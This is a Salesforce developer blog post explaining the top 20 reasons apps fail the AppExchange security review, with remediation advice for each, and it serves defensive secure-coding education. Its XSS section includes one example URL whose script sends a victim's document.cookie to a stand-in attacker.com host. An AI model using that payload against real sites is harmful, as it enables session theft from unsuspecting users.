The AppExchange Security review is known to be one of the most rigorous review processes of any online app marketplace. This strict reputation is something that Salesforce takes pride in, with trust being our #1 value. As an enterprise software marketplace, we have a deep responsibility to meet the highest possible security standards for customer data protection.
That said, these standards can pose a significant challenge to ISV partners looking to publish offerings on AppExchange. To help improve transparency and to help you all succeed, in order of prevalence, this post will discuss the top 20 reasons that partners fail the security review (as of 2023). We’ll also cover how to remediate or prevent these issues.
#1 — CRUD/FLS enforcement
What is this?
Object & field level security (CRUD/FLS) enforcement vulnerabilities are the top reason (by a significant margin) for failing the AppExchange security review. These vulnerabilities represent failures to properly check if objects and/or fields are accessible, creatable, deletable, and/or updateable prior to executing queries or database actions. If your AppExchange offering contains any Salesforce code, this issue should be your #1 priority to resolve before submitting for security review.
How can I address this?
If, during your coding process, you haven’t been consistently implementing CRUD/FLS checks or running your SOQL, SOSL, and DML in user mode, you will want to do a very thorough review of your codebase to ensure that you aren’t performing any unchecked create/read/update/delete operations on objects or fields.
The preferred and modern method of enforcing CRUD/FLS involves using user mode in all queries and database operations. The downside to this is that Checkmarx, PMD, and the Code Analyzer PMD rule engine do not fully support this yet (as of writing this post, PMD supports WITH USER_MODE
in SOSL/SOQL, but not the DML user mode, so if you use this type of protection, it will throw false positives). The Code Analyzer Graph Engine is currently the only tool that supports both types of user modes. See the scanner:run:dfa
command in the documentation to run a scan with the Code Analyzer Graph Engine.
If you’ve been enforcing CRUD/FLS the old-fashioned way with Schema.DescribeSObjectResult
(i.e., methods like isCreatable()
, isUpdateable()
, isDeletable()
), then Code Analyzer, and the PMD extension for VS Code can be helpful tools to use to check your codebase. You can follow our guide to learn more about how to use PMD for VS Code and Code Analyzer to eliminate CRUD/FLS violations.
The Checkmarx Scanner should be used as a final check for CRUD/FLS violations. You can run this scan via the Partner Security Portal.
Learn more about CRUD/FLS enforcement on Trailhead.
#2 — Insecure software version
What is this?
This means that some piece of software (usually, a specific version of the software) used in your offering has known security vulnerabilities. Most often, it’s because you’re using an outdated version of a JavaScript library (e.g., jQuery is by far the most common), but it could also be something like old versions of nginx, Python libraries, CKEditor, or PHP.
How can I address this?
Try to identify all the non-Salesforce libraries, frameworks, software, and other technologies within the scope of your AppExchange offering.
Search for each of these in Snyk (for open-source projects) or in the CVE database. CVE stands for “common vulnerabilities and exposures,” and the CVE database represents a glossary of publicly known security vulnerabilities that is maintained and operated by the US National Cybersecurity FFRDC and MITRE Corporation. You can also use Salesforce Code Analyzer’s RetireJS plugin to run a scan of your packaged codebase to look for JavaScript libraries with known vulnerabilities.
Note: In some cases, you can add false positive documentation to argue that a particular CVE on file could not apply to your offering, since perhaps you are not using the functionality associated with that CVE.
#3 — Sharing violation
What is this?
This basically means that you have Apex classes where you have not explicitly added the with sharing
keyword to the class header, thus bypassing an org’s sharing rules. Or, it could mean you have Flows setup to run in System Mode without Sharing.
How can I address this?
Simply check all your Apex classes and ensure that you have with sharing (or inherited sharing) defined in the class header. Check your Flows to make sure they are not set to run in System Mode (unless necessary). For cases where you need a class or Flow to run without sharing (e.g. the class must run in a system context and not a user context), add an explanation to your false positive document explaining the business use case (and ideally, add comments to the top of the relevant class headers to make it even more clear).
Code Analyzer, PMD, and Checkmarx can help you scan your code as well.
Learn more about sharing enforcement via Trailhead.
#4 — Insecure storage of sensitive data
What is this?
Secrets should not be hard-coded into source code. Even though the code might be contained in a managed package where the code is obscured to customers, there are still reasons why this is an insecure practice, including:
- The customer should have control over their secrets and keys, and in many cases, they need to be able to change/update them
- Secrets can get exposed in logs or error messages
- If a secret or key expires, a customer won’t be able to update it themselves
How can I address this?
Make sure there are no secrets hardcoded into the source code, even if it’s a managed package. Make sure all secrets are stored in one of the following ways:
- Protected custom metadata fields (for partner-owned secrets)
- Protected custom settings (for subscriber/customer-owned secrets)
- Named credentials (this is generally not recommended, but if you have a specific use case requiring it, it might be permitted on a case-by-case basis)
- Encrypted and stored in custom objects with the encryption key stored in a protected custom setting or hidden custom metadata field
Learn more about secure secrets storage on Trailhead.
#5 — TLS/SSL configuration
What is this?
All incoming and outgoing connections involving your Salesforce communities, sites, and portals are required to utilize Transport Layer Security (TLS) 1.2. This requirement is valid across Lightning Experience and Salesforce Classic modes for communities and sites, regardless of whether they’re in Essentials, Enterprise, Performance, Unlimited, or Developer editions.
How can I address this?
Verify that your browser access, API integrations, and other Salesforce features are compliant with TLS 1.2.
An easy way to do this is to use the Qualys SSL Scanner. The Security Review Team will run this scan on any and all external/non-Salesforce endpoints involved in your solution. If your endpoints do not receive an A grade for SSL/TLS compliance, your security review will not be approved.
To run the scan, simply input the base URL onto the Qualys SSL Server Test web form and hit Submit.
More details about TLS requirements can be found in the release notes.
#6 — Sensitive information in debug
What is this?
This type of vulnerability describes situations where sensitive information, such as application secrets, system data, or overly detailed debugging information, is leaked through logging functions or other output streams. Usually, this happens when detailed logging is enabled for development purposes, but then is not pared down properly before submitting for the AppExchange security review.
How can I address this?
In your Salesforce package, make sure to search your source code for all debugging statements in the package to make sure they are not logging sensitive information or secrets.
Make sure that error codes and error messages across your whole solution have a level of information appropriate for all users to see. For example, regular users should generally not see full stack traces or detailed debugging information. Similarly, make sure any other logging functions or output streams are not leaking sensitive data either.
Code Analyzer and PMD can help you catch these issues in Salesforce apps, and web app scanners like Burp Suite, Chimera, or OWASP ZAP can also help you catch these issues in your external integrations and web apps.
Learn more about checking for stack traces and detailed exception info in issue #13.
#7 — CSRF
What is this?
Cross-site request forgery (CSRF) is a type of attack that tricks a victim into executing unwanted actions on a web application in which they’re authenticated. Exploiting the trust that a site has in the user’s browser, can lead to potentially harmful actions, such as changing email addresses, and passwords, or even performing transactions without the user’s knowledge or consent.
In the Salesforce Platform, an anti-CSRF token exists to counter such attacks, offering protection while using standard controllers and methods. However, developers may unintentionally circumvent these anti-CSRF safeguards when creating their own action methods.
How can I address this?
In general, web applications can prevent CSRF attacks primarily by implementing anti-CSRF tokens, which are unique, user-specific values included in each state-changing request to verify the source. Additionally, they should adopt the practice of Same-site cookies, which restricts the browser from sending the cookie along with cross-site requests, thereby mitigating CSRF risks.
For Visualforce pages:
- When creating Visualforce pages, avoid using state-changing HTTP GET requests; use POST or PUT for state changes instead
- Do not execute automatic actions or change state (e.g., DML operations) on page loading
- Another mitigation technique involves adding an intermediate confirmation page before performing the action, where the user can confirm that they intended to perform that action
For Lightning components:
- Similar to Visualforce pages, avoid changing state or executing actions on the loading of a Lightning component, via hooks like
init
(for Aura),connectedCallback
,renderedCallback
, orconstructor
When making API calls:
- For non-Salesforce APIs, you may also want to add your own CSRF token.
CSRF is one of the more complicated types of security issues, so it’s worth the investment to learn more about it in depth. For Salesforce packages, there is great developer documentation and a Trailhead module for reference.
For other types of web apps, you may want to consult OWASP documentation.
Web app scanners, such as Burp Suite, Chimera, or OWASP ZAP, can also help you catch these issues for your external web apps.
#8 — Stored & reflected cross-site scripting (XSS)
What is this?
Cross-site scripting (XSS) attacks are injection issues where harmful scripts are inserted into trusted websites. They happen when an attacker exploits a web app to send malicious code, often a client-side script, to a different user. These attacks exploit flaws in web apps that use unvalidated or unencoded user input in their output.
In an XSS attack, an unsuspecting user’s browser executes the malicious script, believing it’s from a trusted source. This allows the script to access cookies, session tokens, or other sensitive data stored in the browser. It can even modify the HTML content of the page.
Stored XSS attacks are a persistent type, where the malicious input is stored by the web application and later shown to users. Reflected XSS attacks, on the other hand, usually occur when malicious code is injected into a URL, which gets executed when a user clicks on it (for example: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>
).
Reasons your app might be susceptible include:
- Unvalidated input: Apps may accept user input and use or display it on a page without properly validating it (to ensure that it doesn’t contain executable code/scripts)
- Rich text fields: Storing input in Salesforce RTF fields is risky because they support HTML content, so you have to validate input to prevent stored XSS
- Visualforce pages: These can be susceptible if they use user-generated input in the HTML body or in JavaScript without proper input escaping or output encoding
- Aura and Lightning Web Components (LWC): Although these have built-in protections against XSS, developers can bypass these protections via things like using the
innerHTML
property,lwc:dom=”manual”
, or thelightning:formattedRichText
component without proper input validation - URL parameters: Apps might directly use these in the HTML or JavaScript of a page without validation (leading to reflected XSS)
How can I address this?
Your primary goal should be to avoid DOM manipulation, but we also recommend practicing input filtering and output encoding, including:
- Avoid manipulation of the document object model (DOM): Instead, use techniques like template directives, and avoid potentially unsafe JavaScript functions (e.g.,
eval()
,DOMParser.parseFromString()
,Document.implementation.createHTMLDocument()
,setTimeout()
,setInterval()
) - Input filtering: Make sure user input does not contain executable code by using things like Regex and character blocklisting or allowlisting (for example, filter out characters commonly used in code, such as ‘<’, ‘>’, single or double quotes, ‘/’, ‘;’, brackets, parentheses, or mathematical or logical operators like ‘+’, ‘&’ or ‘-’)
- Output encoding: Make sure that if executable code were to get past input filtering, it is not interpreted as code by converting “dangerous” characters to harmless text versions (for example, ‘&; should be converted to & and ‘<’ or ‘>’ should be converted to < and >)
This Trailhead module goes over exactly how to mitigate XSS with these techniques, and our developer documentation is useful here too. For specific advice on protecting against XSS in Lightning components, see the Lightning Security page in the Secure Coding Guide.
For non-Salesforce web apps, you can also consult OWASP documentation for additional advice.
Web app scanners, such as Burp Suite, Chimera, or OWASP ZAP, can also help you catch these issues.
#9 — JavaScript not in static resources
What is this?
Many Salesforce-managed packages fail the security review for failing to store JavaScript as static resources in their packages, and instead hotlink to externally-hosted JavaScript files with <script>
tags. The main reason for this rule is that it allows much more secure version control, and ensures the integrity of JavaScript files in your Salesforce package even if the external source is compromised.
How can I address this?
Our rule is that all script and style resources must be added to the package as static resources and then loaded with either an <apex:includeScript>
tag on your page (for Visualforce) or a ltng:require
component in your .cmp or .app markup (for Aura).
Note: If you have an LWC, define JavaScript modules that you import to your component, or use the loadScript
function to load a static resource JavaScript file.
For non-LWC packages, the best way to check for this issue is to manually search your source code to make sure all JavaScript libraries are stored as static resources, not dynamically loaded via hyperlinks.
For situations where this is not feasible, we recommend scheduling a technical office hour appointment to discuss your use case. It’s possible to get an exception in certain cases.
Learn more about this issue in our developer documentation.
#10 — SOQL injection
What is this?
SOQL injection is the Salesforce-specific version of SQL injection. It happens when unvalidated, user-supplied input is inserted directly into a dynamic SOQL query. If the input isn’t validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands.
How can I address this?
The easiest way to prevent the issue is to avoid dynamic queries in favor of static queries, and use binding variables. Otherwise, you’ll need to strictly validate user inputs before they’re used in queries by using techniques like typecasting, input whitelisting, or escaping.
Code Analyzer, PMD, and Checkmarx can help you scan your code as well.
For more information, see our Trailhead module or review our developer documentation.
For non-Salesforce apps, you may want to learn more about SQL injection from the OWASP guide. Web app scanners, such as Burp Suite, Chimera, or OWASP ZAP, can also help identify SQL injection issues.
#11 — Lightning: Improper CSS load
What is this?
Similar to the problem of using <script>
or <link>
tags to load JavaScript in your packages, using <link>
or <style>
tags to load CSS instead of <apex:stylesheet>
(Visualforce) or <ltng:require>
(Aura) is considered an insecure practice. These <link>
and <style>
tags can reference external or inline resources that contain CSS or JavaScript, and Salesforce’s Lightning Web Security (LWS) security architecture does not control or sanitize these.
For Aura components, in particular, using <ltng:require>
also allows Salesforce to properly apply LWS security rules, and ensure that the CSS you’re loading is properly isolated and doesn’t include unsafe JavaScript code or styles that could negatively impact other parts of your Salesforce application.
How can I address this?
To reference an external CSS resource that you’ve uploaded as a static resource, use an <apex:stylesheet>
tag on your page (for Visualforce) or a <ltng:require>
tag in your .cmp or .app markup (for Aura). Search your package source code to ensure that you haven’t used <link>
or <style>
tags anywhere to load CSS resources.
Note: If you have an LWC, you can’t really run into this issue anyways because, like <script>
tags, <style>
tags are already blocked from use inside the HTML templates. Instead, you would include your CSS in your component’s associated CSS file or use the loadStyle
function to load a static resource CSS file.
More info can be found in our developer documentation.
#12 — JavaScript in Salesforce DOM (Classic experience only)
What is this?
Salesforce has strict rules surrounding JavaScript usage, and one of those rules is that JavaScript cannot be run directly within the Salesforce application context. This means that you cannot include JavaScript blocks directly within components that run under the Salesforce DOM, such as HomePageComponents, WebLinks, Custom Buttons, etc.
Instead, all JavaScript needs to live under your app’s namespaced domain on Visualforce pages that you control, so that the custom JavaScript is essentially sandboxed from the main Salesforce DOM. That means you can’t use JavaScript to create custom buttons, web tabs, homepage components, and similar elements (for example, including onclick JavaScript event handlers in custom buttons could be grounds for failure).
How can I address this?
This is something you’ll have to check manually in your Salesforce package source code. Check and ensure that you haven’t used JavaScript to create custom buttons, web tabs, homepage components, or other such elements, and verify that any custom JavaScript is included only in your namespaced app domain on VisualForce pages that you control as part of your app.
One way to check for this is to look for the text <openType>onClickJavaScript</openType>
in the app metadata files (often in XML files like weblink/something.weblink) and if found, make sure to remove this. Even if your app is only intended to be used in Lightning Experience, if the vulnerability is present for users in Classic mode, the package cannot be approved.
This particular rule is not especially well-documented, but you can read more in the AppExchange Security Review Checklist document (Partner Community login required).
#13 — Information disclosure on error pages & exceptions
What is this?
In the context of the AppExchange security review, this term specifically refers to situations (usually in non-Salesforce/off-platform web apps or services) where your error pages are displaying sensitive system data or debugging info. For example, sometimes error pages include full stack traces showing how objects are referenced internally or relative file paths to where your application is installed. Sometimes, even sensitive info gets exposed this way.
How can I address this?
Search your codebase for calls that cause exceptions or stack traces to be rendered to strings or output streams, and perform testing that would cause errors, like invalid input, empty input, input that is too long, access to internal pages without authentication, bypassing application flow, etc.
Burp Suite’s fuzzing tool can be a great assistant here.
You can also get some great advice for testing for stack traces via this OWASP guide.
#14 — Aura components: CSS outside component
What is this?
Aura components are supposed to be small, self-contained, reusable, and repositionable. CSS that avoids the component encapsulation (via .THIS) or that uses non-standard positioning (e.g., float or position: absolute or fixed) breaks these guarantees and may interfere with the display of other components. In particular, using absolute positioning in CSS is the top reason for this type of failure.
While this may not seem like a security issue at first glance, it can break the Salesforce website layout and violates the spirit of Lightning’s security model, where components are strictly sandboxed and guaranteed to stay in their own lane.
How can I address this?
This is another issue that you should check for manually. Basically, search through your Aura component’s CSS, especially for absolute/fixed positioning or fixed width and fixed height. We’d also recommend reviewing our documentation to make sure you’re following all the right CSS rules.
#15 — Message channel exposed
What is this?
This term specifically refers to cases where you have not configured the isExposed
flag in Lightning Message Channel to false. Since this provides access to the Lightning Message Service (LMS) API, which lets you publish and subscribe to messages across the DOM and between Aura, Visualforce, and Lightning Web Components, it should be set to false.
How can I address this?
You have two options, depending on your use case, including:
- Log a support ticket to request that Managed Component Deletion be enabled for your packaging or Dev Hub org, and remove the component from the package. If you are unable to do so (for example, if this would break functionality for subscribers that are dependent on exposed message channels), you can leave the component in the package and simply not use it (be sure to mention this specifically in a false positive document on your submission).
- If you have to use an LMS channel component, make sure to have
isExposed=false
. This has to be done by creating a new LMS channel component because existing components withisExposed=true
cannot switchisExposed=false
. Use only the newly created component in the code.
More information is available in the documentation.
#16 — Sensitive info in URL
What is this?
This refers to a situation where long-lasting sensitive information is being sent in URLs (for example, a client ID or secret, or a username/password). This can actually lead to long-term secrets getting leaked in several possible ways. For example:
- Full URLs are often stored on servers in clear text logs that might not be stored securely and can be seen by personnel or compromised by a third party
- Search engines index URLs, inadvertently storing sensitive info
- Storage of full URL paths on local browser history, browser cache, bookmarks, and synced bookmarks between devices
- URL info sent to third-party web apps via the referrer header or exposed to third-party scripts on the page
How can I address this?
Burp Suite might help you out here for non-Salesforce/off-platform web apps, but overall we’d recommend manually checking your application for any instances where long-term secrets are sent via URLs. Depending on your use case, you may need to make changes, such as using POST requests instead of GET requests, changing your authentication method (OAuth 2.0 is generally ideal), and employing encryption and better methods of secret storage.
The OWASP guide is a great resource to follow.
#17 — Insecure endpoint
What is this?
This vulnerability name simply refers to situations where HTTP is used instead of HTTPS.
How can I address this?
Scanning tools might be of help, but an even more surefire way to check this is to search your source code to look for HTTP links and change them to HTTPS. You can learn a bit more about how this enhances security on this OWASP page.
#18 — Username or email enumeration
What is this?
This issue typically only comes up in external web apps off the Salesforce Platform. It refers to a situation where attackers are able to enumerate lists of usernames or emails of your user base, usually by analyzing changes in error messages on login functions, forgot password features, or account signups. Attackers commonly do this so they can test for reused passwords from compromised databases and password leaks/dumps.
How can I address this?
Check your error messages for account signups, password recovery, attempted logins, etc., and make sure that your error message is the same regardless of whether the username or email entered is valid.
For example, many sites include a generic message, such as: “If such a user exists, you will receive an email with a password reset.” This kind of general message avoids confirming the existence of a username or email.
Of course, in certain situations, it may be unavoidable (for example, during account signup, you might have to confirm that a username is taken). In those situations, try to implement controls that would prevent enumeration by brute force, such as captchas to prevent bots from scraping your signup form.
Burp Suite is a great tool to use to check for this, but if you don’t have it, you can also review your login functionalities manually.
OWASP has a helpful guide for preventing email and username enumeration.
#19 — Password management
What is this?
The security team sometimes fails external (non-Salesforce) web applications and sites for having problematic password policies, such as:
- Allowing reuse of the same password when a password reset is needed
- Not asking for the old password when allowing users to set a new password
- For password resets, sending a temporary password to a user’s email in plain cleartext
- Leaving default passwords on server or database root users
How can I address this?
In addition to avoiding the above situations, check out OWASP’s Authentication Cheat Sheet for some guidelines on setting strong password policies:
Burp Suite is also quite helpful in identifying password-related issues (for example, you can use it to try to brute force your login pages).
#20 — Password Echo
What is this?
This is a little different from the password management issue described previously. A password echo refers to situations where passwords get reflected in plaintext back to the UI (such as when the user visits their own settings page), or in API call / JSON responses.
How can I address this?
Make sure that your password is not revealed or transmitted in plaintext anywhere in your app. Make sure that on settings pages or other pages that display secrets, they are shown as asterisks only (they can be shown on button click if required).
See the OWASP Password Storage Cheat Sheet for more information.
Burp Suite, or perhaps Chimera or OWASP ZAP, can also help you catch these issues.
Additional Resources
If your solution involves custom-built non-Salesforce websites or web apps, we would strongly recommend investing in a Burp Suite license if it’s financially feasible for your organization. Burp Suite is one of the best tools on the market for security and is also used heavily by our own Product Security Team. Chimera or OWASP ZAP are completely free alternatives, but be prepared to invest more time in terms of manual review, since they lack many of the powerful features/tools that Burp Suite has.
Note: If your offering integrates with web apps or services that you do not own, do not attempt to scan the endpoints until you have obtained permission from the owner.
Salesforce Product Security also makes use of Code Analyzer, PMD, and Checkmarx to review Salesforce package source code. As of Dreamforce ’23, Salesforce has now released a VS Code Extension for Code Analyzer, available here. They use the CVE Database and Qualys SSL Scanner on most submissions too.
If you are running into security issues where you need technical guidance, ISV partners can sign up for free office hours with our security engineers via the Partner Security Portal.
Lastly, we can’t recommend Trailhead enough in terms of security review preparation. The Develop Secure Web Apps trail is well worth the time, and we have also just renovated the AppExchange Security Review module, which discusses the submission process end-to-end.
About the author
Anika Teppo is a Technical Evangelist at Salesforce. She has been working with the AppExchange Security Review team at Salesforce since 2017, and her current role involves getting Salesforce Labs and internal solutions security-reviewed and published on AppExchange.